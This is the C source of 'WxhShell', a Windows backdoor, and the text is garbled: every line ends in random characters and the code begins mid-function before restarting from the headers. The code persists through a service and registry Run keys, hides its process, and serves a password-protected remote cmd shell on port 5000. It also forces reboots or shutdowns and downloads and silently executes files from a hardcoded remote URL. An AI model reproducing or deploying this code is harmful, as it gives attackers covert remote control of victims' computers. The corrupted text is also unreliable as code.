    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h^KLqPBt{  
    if(Boot(SHUTDOWN)) 1RF? dv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qSWnv`hL  
    else { ;eRYgC  
    closesocket(wsh); yy6?16@  
    ExitThread(0); q={\|j$X  
    } *rk!`n&  
    break; ~y(- j[  
    } 6M`N| %  
  // 获取shell HjAQF?;V  
  case 's': { ,??%["R  
    CmdShell(wsh); EO5k?k[*  
    closesocket(wsh); $}/ !mXI5  
    ExitThread(0); 058+_xX  
    break; ^^I3%6UY  
  } zU9G: jH  
  // 退出 nVC:5ie  
  case 'x': { ~agzp`!M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N}3$1=@Y  
    CloseIt(wsh); f: h.O# d>  
    break; +0Rr5^8u  
    } Uaho.(_GP  
  // 离开 8@|rB3J  
  case 'q': { U8z$=W o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o0p%j4vac  
    closesocket(wsh); lFNf/j^Z  
    WSACleanup(); q1Si*?2W  
    exit(1); ~_TmS9  
    break; .f V-puE  
        } !ACWv*pW  
  } oA kF  
  } :H$D-pbJ4  
iTt"Ik'  
  // 提示信息 "bRg_]\q6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e4V4%Qw  
} 7)IB IlV  
  } .3%eSbt0  
o?f7_8fG  
  return; a<%WFix  
} u":D{+wC |  
}*~EA=YN;  
// shell模块句柄 oVsj Q  
int CmdShell(SOCKET sock) &t +   
{ u:pdY'`"#  
STARTUPINFO si; X3DXEeBEL  
ZeroMemory(&si,sizeof(si)); JrTSu`S('  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kyQ%qBv ^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h94SLj]  
PROCESS_INFORMATION ProcessInfo; `~hAXnQK=  
char cmdline[]="cmd"; fv !l{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5r<%xanXW/  
  return 0; 5#.uA_Fov  
} H(ht{.sjI  
dhN[\Z%  
// 自身启动模式 j=)Cyg3_%  
int StartFromService(void) <0T4MR7  
{ sB_o HUMH6  
typedef struct #D3e\(  
{ ]<q{0.  
  DWORD ExitStatus; />XfK,c-  
  DWORD PebBaseAddress; cI4%z eR  
  DWORD AffinityMask; xDu11W+g  
  DWORD BasePriority; y6'Fi(2yw  
  ULONG UniqueProcessId; hA?j"y0?  
  ULONG InheritedFromUniqueProcessId; ^ 3LM%B  
}   PROCESS_BASIC_INFORMATION; ics  
GEwgwenv  
PROCNTQSIP NtQueryInformationProcess; Tfhg\++u  
={b/s31H:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *}3e'0`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z.eqOPW  
E=w$r  
  HANDLE             hProcess; .G1NY1\  
  PROCESS_BASIC_INFORMATION pbi; |hehROUn  
Giz9jzF \  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kR6rf_-[  
  if(NULL == hInst ) return 0; <"/Y`/  
whoz^n3NE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '/SMqmi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pq*b"Jku1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *(L4rK\2  
;=hl!CB  
  if (!NtQueryInformationProcess) return 0; <(?ahO5  
P$2J`b[H$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N2;T\xx,  
  if(!hProcess) return 0; WE4:Jy  
Ka2U@fK"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .%3bXK+F  
p{!aRB%  
  CloseHandle(hProcess); J @"wJEF  
SS O$.rp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  ~MyP4x/  
if(hProcess==NULL) return 0; I'BoP  
(SoV2[|  
HMODULE hMod; 17H_>a\`  
char procName[255]; q+dY&4&u  
unsigned long cbNeeded; ;f[Ki$7  
}k duN0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  nq8mzI  
:cG_aO kid  
  CloseHandle(hProcess); ,\[&%ph  
m'r6.Hp3Ng  
if(strstr(procName,"services")) return 1; // 以服务启动 s}`ydwSg8  
w@X<</`  
  return 0; // 注册表启动 }Nl-3I.S^  
} '%V ;oJ"  
:r:5a(sq  
// 主模块 "X>Z!>  
int StartWxhshell(LPSTR lpCmdLine) nmc=RK^cM  
{ /Y:_qsO1  
  SOCKET wsl; hBz~FB];&  
BOOL val=TRUE; WY?(C@>s  
  int port=0; -#Yg B5  
  struct sockaddr_in door; K`j#'`/KC  
Vg\EAs>f  
  if(wscfg.ws_autoins) Install(); ^] Lr_k  
:"3WCB  
port=atoi(lpCmdLine); -}MWA>an8  
4kT|/ bp  
if(port<=0) port=wscfg.ws_port; K4N~ApLB+  
'+Gt+Gq+  
  WSADATA data; st|$Fu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bh6Mh< +  
niFX8%<hP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hrN r i$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6WgGewn  
  door.sin_family = AF_INET; 6BFtY+.y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `{N0+n  
  door.sin_port = htons(port); c|:H/Y2n|  
X"y rA;,o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :'f#0ox  
closesocket(wsl); `U#*O+S-^  
return 1; #v=hiL  
} |5Mhrb4.  
@mNf(&  
  if(listen(wsl,2) == INVALID_SOCKET) { :v* _Ay  
closesocket(wsl); IW Lv$bPZ/  
return 1; vZTX3c:,1  
} d\3L.5]X  
  Wxhshell(wsl); :w#Zs)N  
  WSACleanup(); Jv1.Yz  
Um4 }`  
return 0; 8 %Lq~ lk  
z=N'evx~  
} zn_InxR  
G>M# BuU  
// 以NT服务方式启动 DCPK1ql  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B$ +YK%I  
{ ]V6<h Psi  
DWORD   status = 0; zob^z@2  
  DWORD   specificError = 0xfffffff; 5MQD:K2  
<[Q#}/$"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]chcRc[!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q^JJ5{36e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^IjKT  
  serviceStatus.dwWin32ExitCode     = 0; GL cf'$l  
  serviceStatus.dwServiceSpecificExitCode = 0; j_L 'Ztu3  
  serviceStatus.dwCheckPoint       = 0; y/$WjFj3"  
  serviceStatus.dwWaitHint       = 0; 8ysU.5S  
`a ["`N^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c;xL.  
  if (hServiceStatusHandle==0) return; _.' j'j%  
|[>`3p"&  
status = GetLastError(); %DqF_4U9  
  if (status!=NO_ERROR) W|NzdxCY  
{ czi$&(N0w$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6;dQ#wmg  
    serviceStatus.dwCheckPoint       = 0; qx18A  
    serviceStatus.dwWaitHint       = 0; 0F8y8s  
    serviceStatus.dwWin32ExitCode     = status; Op" \i   
    serviceStatus.dwServiceSpecificExitCode = specificError; vd|PTHV_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fZ`b~ZBwIj  
    return; V()s! w  
  } Tsxl4ZK  
MBIt)d@Ix  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lE78 Yl]  
  serviceStatus.dwCheckPoint       = 0; D?44:'x+-  
  serviceStatus.dwWaitHint       = 0; .5p"o-:D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <ap%+(!I  
} *TfXMN ?w  
4'Z=T\:  
// 处理NT服务事件,比如:启动、停止 sTP`xaY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3!_y@sWx  
{ J/>Y mi,  
switch(fdwControl)  \U(qv(T  
{ E y1mlW  
case SERVICE_CONTROL_STOP: "^fcXV9Wp  
  serviceStatus.dwWin32ExitCode = 0; #(j'?|2o%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dGt;t5An V  
  serviceStatus.dwCheckPoint   = 0; 3BAls+<p o  
  serviceStatus.dwWaitHint     = 0; Rb Jl;  
  { s$4!?b$tw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Obgn?TAVX  
  } @] uvpI!h  
  return; 5D8V)i  
case SERVICE_CONTROL_PAUSE: '`p#%I@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {u{n b3/jl  
  break; %D< =6suW  
case SERVICE_CONTROL_CONTINUE: w!,~#hbt6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yw `w6Z3K  
  break; ^ #B`GV  
case SERVICE_CONTROL_INTERROGATE: wwE`YY  
  break; 5MfbO3  
}; }enm#0Ha  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cK%Sty'8+  
} @W[`^jfQ  
[`Seh$  
// 标准应用程序主函数 [v ( \y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S+ gzl#r  
{ Aj((tMJNOw  
FBJw (.Jr  
// 获取操作系统版本 h)fJ2]JW8W  
OsIsNt=GetOsVer(); 3qwi)nm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z`y%#B6x.  
A:Pp;9wl  
  // 从命令行安装 ;)].Dj9  
  if(strpbrk(lpCmdLine,"iI")) Install(); &o%IKB@  
d#xi_L!  
  // 下载执行文件 0`VA} c  
if(wscfg.ws_downexe) { d+[GMIxg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kq& b1x  
  WinExec(wscfg.ws_filenam,SW_HIDE); (Qq;ySZ#  
} z/Z 0cM#  
HjCcfOej  
if(!OsIsNt) { *{[jO&& J  
// 如果时win9x,隐藏进程并且设置为注册表启动 uv,&/ ,;S  
HideProc(); 7.U CX"  
StartWxhshell(lpCmdLine); !o+[L  
} EAafi <n  
else Iow45R~]  
  if(StartFromService()) 12r]"?@|s  
  // 以服务方式启动 v3>jXf  
  StartServiceCtrlDispatcher(DispatchTable); sg0HYb%_E  
else #fdQ\)#q>  
  // 普通方式启动 P5,X,-eG  
  StartWxhshell(lpCmdLine); ,xmL[Yk,  
kD1[6cJ!=.  
return 0; K6 D3  
} )2vkaR  
a2Q_K2t  
BO]}E:C9  
G_OLUuK?C  
=========================================== sX_6qKUH  
^q{=mf`  
w K)/m`{g  
=VXxQ\{  
=?9z6=  
lO)-QE+  
" {jVEstP  
|Iq#Q3w  
#include <stdio.h> ;F3#AO4(  
#include <string.h> &4]~s:F  
#include <windows.h> |,ws3  
#include <winsock2.h> M{)7C,'  
#include <winsvc.h> gxa@da  
#include <urlmon.h> fT$Fv  
(Qf"|3R4  
#pragma comment (lib, "Ws2_32.lib") >U4hsr05  
#pragma comment (lib, "urlmon.lib") Dx:2/"v  
#@qd.,]2  
#define MAX_USER   100 // 最大客户端连接数 @x u/&pbI  
#define BUF_SOCK   200 // sock buffer b Ag>;e(  
#define KEY_BUFF   255 // 输入 buffer Pgdv)i3  
svT1b'=\$I  
#define REBOOT     0   // 重启 HzuB.B<  
#define SHUTDOWN   1   // 关机 L"Vi:zdp  
(bT3 r_  
#define DEF_PORT   5000 // 监听端口 T~Z7kc'  
A]x'!qa@=  
#define REG_LEN     16   // 注册表键长度 Rq,ST:  
#define SVC_LEN     80   // NT服务名长度 &i/QFO7y}  
1ig#|v*+  
// 从dll定义API .WeP]dX%:f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xj;\ROBH-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FXF#v>&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )U$]J*LI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Td|x~mZv:  
+WGL`RP  
// wxhshell配置信息 d|~A>YZ  
struct WSCFG { +0)zB;~7  
  int ws_port;         // 监听端口 |izf|*e  
  char ws_passstr[REG_LEN]; // 口令 `%a+LU2  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;?-`n4B&  
  char ws_regname[REG_LEN]; // 注册表键名 'J0Erk8(  
  char ws_svcname[REG_LEN]; // 服务名 xQKD1#y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 71$MhPvd<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IQ9jTkW l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A&dNCB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hhZU E]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s3., N|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C/sDyv$  
|ULwUi-r  
}; xUG:x4Gz+  
a%h'utF{[  
// default Wxhshell configuration Nvef+L,v  
struct WSCFG wscfg={DEF_PORT, C6"bGA  
    "xuhuanlingzhe", Q<e`0cu|p  
    1, WecJ^{g>r{  
    "Wxhshell", TYs#v/)I  
    "Wxhshell", SdI/  
            "WxhShell Service", 9gz"r  
    "Wrsky Windows CmdShell Service", aD5G0d?u  
    "Please Input Your Password: ", zF F=v7[j  
  1, /_,} o7@t~  
  "http://www.wrsky.com/wxhshell.exe", ^edg@fp  
  "Wxhshell.exe" iN}BMd.U  
    }; l5jW`cl1  
`Al[gG?/!  
// 消息定义模块 K%p*:P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kP6P/F|RcZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nr#Y]9nA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kS>'6xXH  
char *msg_ws_ext="\n\rExit."; 7 -(LWH  
char *msg_ws_end="\n\rQuit."; z~g7O4#  
char *msg_ws_boot="\n\rReboot..."; Kk^tQwj/QE  
char *msg_ws_poff="\n\rShutdown..."; vd5"phn 3  
char *msg_ws_down="\n\rSave to "; us.+nnd  
t?-7Z6  
char *msg_ws_err="\n\rErr!"; AR}M*sSh  
char *msg_ws_ok="\n\rOK!"; ;,z^!bD  
l; e&p${P  
char ExeFile[MAX_PATH]; LRhq%7p7  
int nUser = 0; .2xp.i{  
HANDLE handles[MAX_USER]; )-3!-1  
int OsIsNt; %;.|?gR  
,{C(<1  
SERVICE_STATUS       serviceStatus; EO|r   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cZRLYOC  
x*#F|N4~',  
// 函数声明 ZSuMQ32  
int Install(void); ^}2 ie|  
int Uninstall(void); /HNZwbh]uJ  
int DownloadFile(char *sURL, SOCKET wsh); (u]ajT  
int Boot(int flag); MwxfTH"wi  
void HideProc(void); uTRa]D_q  
int GetOsVer(void); {-rK:*yP'u  
int Wxhshell(SOCKET wsl); Po[u6K2&  
void TalkWithClient(void *cs); pGi "*oZD  
int CmdShell(SOCKET sock); kWfNgu$xK  
int StartFromService(void); sz.(_{5!  
int StartWxhshell(LPSTR lpCmdLine); i3.8m=>  
IbpE@C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KJa?TwnC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {rWu`QT  
`07u}]d8  
// 数据结构和表定义 ZkYc9!anY  
SERVICE_TABLE_ENTRY DispatchTable[] = M* W=v  
{ 9p!V?cH#8  
{wscfg.ws_svcname, NTServiceMain},  "7!K'i  
{NULL, NULL} Z'GO p?  
}; :^SpKe(7  
KQ/v](7 7  
// 自我安装 Z*kGWL  
int Install(void) }>xgzhdT  
{ a4,bP*H  
  char svExeFile[MAX_PATH]; ^(8 i` `V  
  HKEY key;   [E(DGt  
  strcpy(svExeFile,ExeFile); L{~L6:6An  
)J_!ZpMC  
// 如果是win9x系统,修改注册表设为自启动 >TsJ0E?3x  
if(!OsIsNt) { w\;=3C`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t4?g_$>   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2 c'=^0:  
  RegCloseKey(key); *&e+z-E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !23W=N}82  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .jr1<LE  
  RegCloseKey(key); +D4Nu+~BSN  
  return 0; n/s!S &  
    } ]t1)8v2w>  
  } 1 X2oz  
} q y y.3-(  
else { Ii*v(`2b  
K 3&MR=#^  
// 如果是NT以上系统,安装为系统服务 X3]E8)645N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CBSJY&:K  
if (schSCManager!=0) ;ijJ%/  
{ @V] Wm1g  
  SC_HANDLE schService = CreateService c0<Y017sG  
  ( HtEjM|zj  
  schSCManager, Dt1{]~30  
  wscfg.ws_svcname, S M987Y!B  
  wscfg.ws_svcdisp, l4F4o6:]n  
  SERVICE_ALL_ACCESS, D5T\X-+]O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ACl:~7;  
  SERVICE_AUTO_START, ]rn!+z  
  SERVICE_ERROR_NORMAL, =Mn! [  
  svExeFile, gKb4n Nt  
  NULL, R_vZh|  
  NULL, *&UVr  
  NULL, 7!oqn'#>A  
  NULL,  2WE   
  NULL Ffj:xZ9rk  
  ); V.Xz n  
  if (schService!=0) UUb!2sO  
  { _gC<%6#V`r  
  CloseServiceHandle(schService); b daZ{5^{  
  CloseServiceHandle(schSCManager); |,dMF2ADc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .&@|)u  
  strcat(svExeFile,wscfg.ws_svcname); &v4w3'@1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {k?Y :  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ).oqlA!  
  RegCloseKey(key); s7xRry  
  return 0; 1uV_C[:  
    } xA!o"VZPq7  
  } }%k"qW<Y  
  CloseServiceHandle(schSCManager); aGpRdF1;!  
} ]; ^OY\,  
} ~BS*x+M  
5)$U<^uy  
return 1; JEHV \ =  
} q`$QroZT"  
<*(~x esPS  
// 自我卸载 "E''ZBLO~  
int Uninstall(void) f6|3| +  
{ G~B V^  
  HKEY key; G=nFs)z  
Z:/S@ry  
if(!OsIsNt) { (6h7'r $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =dA T^e##  
  RegDeleteValue(key,wscfg.ws_regname); 4uftx1o   
  RegCloseKey(key); VsZ_So;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p\-.DRwT`  
  RegDeleteValue(key,wscfg.ws_regname); iL,3g[g  
  RegCloseKey(key); 4tuEC-oh  
  return 0; <BU|?T6~  
  } FwW%@Y  
} ]#:xl}'LS  
} <M&]*|q>g%  
else { +z[!]^H]4  
R3@iN &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =~0XdS/1  
if (schSCManager!=0) ~IqT >  
{ [ThzLk#m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2(c#m*Q!b  
  if (schService!=0) A.h?#%TLL  
  { ,3n}*"K  
  if(DeleteService(schService)!=0) { { a_L /"7  
  CloseServiceHandle(schService); A&M/W'$s  
  CloseServiceHandle(schSCManager); /N^+a-.Qd  
  return 0; CD tYj  
  } hqds T  
  CloseServiceHandle(schService); 5:PZ=jPR  
  } |n|2)hC  
  CloseServiceHandle(schSCManager); s24H.>Z  
} A"k,T7B  
} (,TO|  
NkJ^ecn%)  
return 1; }GC{~ SZ4  
} 2kgm)-z  
ibAA:I,d  
// 从指定url下载文件 |kd^]! _  
int DownloadFile(char *sURL, SOCKET wsh) >lj3MNSH  
{ co@8w!W  
  HRESULT hr; 1k~jVC2VA  
char seps[]= "/"; kj#yG"3+  
char *token; avz 4 &  
char *file; Cn<kl^!Q-  
char myURL[MAX_PATH]; qXF"1f_+  
char myFILE[MAX_PATH]; M@K[i*e  
W9D)QIqbvW  
strcpy(myURL,sURL); \wCL)t.cX  
  token=strtok(myURL,seps); 4<Y?#bm'  
  while(token!=NULL) B dKwWgi+a  
  { ?7+ 2i\L  
    file=token; 7.t$#fzi  
  token=strtok(NULL,seps); <>Im$N ai  
  } o EN_,cUp  
`otQ'e~+t  
GetCurrentDirectory(MAX_PATH,myFILE); r=`>'3 } x  
strcat(myFILE, "\\"); UGMdWq  
strcat(myFILE, file); nr^p H.  
  send(wsh,myFILE,strlen(myFILE),0); U_~~PCi  
send(wsh,"...",3,0); 8dH|s#.4um  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;:4puv+]  
  if(hr==S_OK) 6xe |L  
return 0; 0>`69&;g|  
else rij[ZrJ  
return 1; >gE_?%a[  
24Fxx9 g  
} 34=0.{qn  
iiTUhO )  
// 系统电源模块 -UVWs2W'$  
int Boot(int flag) \) ;rOqh  
{ ?1uAY.~ZZB  
  HANDLE hToken; f/x "yUq  
  TOKEN_PRIVILEGES tkp; :]s] =q&]  
1dcy+ !>  
  if(OsIsNt) { #O WSy'Qnt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9?8`" v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #<o#kJL  
    tkp.PrivilegeCount = 1; dq(x@&J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YUE[eD/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0FOf *Lz  
if(flag==REBOOT) { ?>Aff`dHY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1%,Z&@^j  
  return 0; Y"qY@`  
} DtZm|~)a  
else { pA'A<|)K0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l+6(|"md  
  return 0; 8=~>B@'  
} pQNFH)=nw  
  } lNb\^b  
  else { 6{'6_4;Fv(  
if(flag==REBOOT) { tOw 0(-:iq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?=kswf  
  return 0; ~<aB-. d  
} 0,/x#  
else { :!$z1u8R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Be+:-t)  
  return 0; Kcl$|T  
} 37xxVbik  
} zwtsw[.  
WFP\;(YV  
return 1; R6;>RRU_  
} Q8?D}h  
M-N2>i#  
// win9x进程隐藏模块 `Ny8u")=  
void HideProc(void) (, "E9.  
{ " 44?n <1  
dU6LB+A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "ux]kfoT  
  if ( hKernel != NULL ) ?LI9F7n  
  { )/"7$2Aoy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z@!W? Ed  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e6lOmgHn5  
    FreeLibrary(hKernel); s2~dmZ_B|_  
  } z :v, Vu  
1i:g /H  
return; m7vxzC*  
} ,<b|@1\k  
]0 RXo3  
// 获取操作系统版本 D 'cY7P  
int GetOsVer(void) + f!,K  
{ CqK#O'\  
  OSVERSIONINFO winfo; u=o"^   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UUu-(H-J  
  GetVersionEx(&winfo); $?AA"Nz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bpa O`[*  
  return 1; *Ne&SXg  
  else 8Ql'(5|T  
  return 0; ^alZ\!B8  
} S.|kg2  
{@__%=`CCS  
// 客户端句柄模块 2 pa3}6P+  
int Wxhshell(SOCKET wsl) Uy5!H1u  
{ +\GZ(!~  
  SOCKET wsh; ,,%:vK+V  
  struct sockaddr_in client; l/zC##1+.  
  DWORD myID; u# WTh%/  
!]+Z%ed`%  
  while(nUser<MAX_USER) qlITQKGG  
{ nDB 2>J  
  int nSize=sizeof(client); cO+Xzd;838  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]/Yy-T#@  
  if(wsh==INVALID_SOCKET) return 1; ikN!ut  
[Am`5&J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); igB rmaY'  
if(handles[nUser]==0) tQ/ #t<4D  
  closesocket(wsh); RB7AI !'a?  
else dIpW!Pj^  
  nUser++; Yz-JI=  
  } uO@3vY',n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ocwp]Mut&  
1Dya?}3  
  return 0; ^qGA!_  
} q7f;ZK=f  
M&/aJRBS  
// 关闭 socket 'K`Rbhy  
void CloseIt(SOCKET wsh) &49$hF g6"  
{ 0w(T^G hZ  
closesocket(wsh); \D U^idp#  
nUser--; "WbVCT'i  
ExitThread(0); AR~$MCR]"k  
} ur<eew@8@i  
VP %i1|XZJ  
// 客户端请求句柄 1%spzkE 3P  
void TalkWithClient(void *cs) + sywgb)  
{ A ,-V$[;~D  
}\f(qw  
  SOCKET wsh=(SOCKET)cs; twtkH~`"Q  
  char pwd[SVC_LEN]; Q:kVCm/;  
  char cmd[KEY_BUFF]; l{6` k<J(  
char chr[1]; ZEj!jWP2m  
int i,j; inPE/Ux  
w3=)S\  
  while (nUser < MAX_USER) { t1w2u.]  
@q+cm JKv  
if(wscfg.ws_passstr) { <r<Dmn|\a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sB( `[5I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h41$|lonU%  
  //ZeroMemory(pwd,KEY_BUFF); 5:%..e`T  
      i=0; Zj1ZU[BEcL  
  while(i<SVC_LEN) { au~]  
Jh$"fr3  
  // 设置超时 _,_8X7  
  fd_set FdRead; U=F-] lD  
  struct timeval TimeOut; lk_s!<ni  
  FD_ZERO(&FdRead); uNe}"hs  
  FD_SET(wsh,&FdRead); 7|QGY7Tf  
  TimeOut.tv_sec=8; QB/7/PW{H\  
  TimeOut.tv_usec=0; #vj#! 1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4ZI!,lv*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g\o{}Q%X  
jby~AJf %  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]*2EK9<  
  pwd=chr[0]; >f\zCT%cf  
  if(chr[0]==0xd || chr[0]==0xa) { TBZ-17+  
  pwd=0; Fn86E dFM  
  break; Z|ZBKcmg  
  } L$1K7<i.  
  i++; R}DX(T,K  
    } aKv[  
4}Q O!(  
  // 如果是非法用户,关闭 socket )=jT_?9b   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f?%qUD_#  
} (R_CUH  
-3.UE^W2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >Hi h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]alh_U  
I*D<J$ 9N  
while(1) { jHAWK9fa  
#P(l2(  
  ZeroMemory(cmd,KEY_BUFF); cz2,",+~  
jg[5UTkcs  
      // 自动支持客户端 telnet标准   j%pCuC&"  
  j=0; aS,a_b]  
  while(j<KEY_BUFF) { i?F[||O"$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u_N\iCYp  
  cmd[j]=chr[0]; `Kh]x9Z  
  if(chr[0]==0xa || chr[0]==0xd) { 3az$:[Und}  
  cmd[j]=0; Hqvc7-c6  
  break; pT4qPta,2  
  } !\CG,Ek  
  j++; 4P|$LkI  
    } hUVk54~l  
pd d|n2q  
  // 下载文件 '!!e+\h#  
  if(strstr(cmd,"http://")) { [UMLx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R'zu"I  
  if(DownloadFile(cmd,wsh)) %X;7--S%?g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8;TAb.r  
  else <B!'3C(P  
